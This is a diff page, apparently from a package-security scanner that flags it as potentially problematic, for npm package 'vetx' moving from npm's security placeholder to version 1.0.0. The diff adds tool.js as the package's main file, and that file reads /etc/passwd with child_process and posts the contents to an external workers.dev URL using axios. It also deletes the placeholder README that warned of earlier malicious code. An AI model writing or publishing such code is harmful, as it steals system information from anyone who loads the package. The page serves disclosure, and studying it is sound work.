vetx 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of vetx might be problematic. Click here for more details.
- package/package.json +12 -4
- package/tool.js +24 -0
- package/README.md +0 -5
package/package.json
CHANGED
@@ -1,6 +1,14 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
2
|
+
"name": "vetx",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "testing",
|
5
|
+
"main": "tool.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "MIT",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^1.6.0"
|
13
|
+
}
|
6
14
|
}
|
package/tool.js
ADDED
@@ -0,0 +1,24 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const axios = require('axios');
|
3
|
+
|
4
|
+
const comando = 'cat /etc/passwd';
|
5
|
+
|
6
|
+
exec(comando, (error, stdout, stderr) => {
|
7
|
+
if (error) {
|
8
|
+
console.error(`Erro: ${error}`);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
console.log(`output: ${stdout}`);
|
12
|
+
console.error(`error: ${stderr}`);
|
13
|
+
|
14
|
+
const urlExterna = 'https://lvds.lvds.workers.dev/';
|
15
|
+
|
16
|
+
|
17
|
+
axios.post(urlExterna, { saida: stdout })
|
18
|
+
.then(response => {
|
19
|
+
console.log('output sent');
|
20
|
+
})
|
21
|
+
.catch(err => {
|
22
|
+
console.error('error to send the output:', err);
|
23
|
+
});
|
24
|
+
});
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=vetx for more information.
|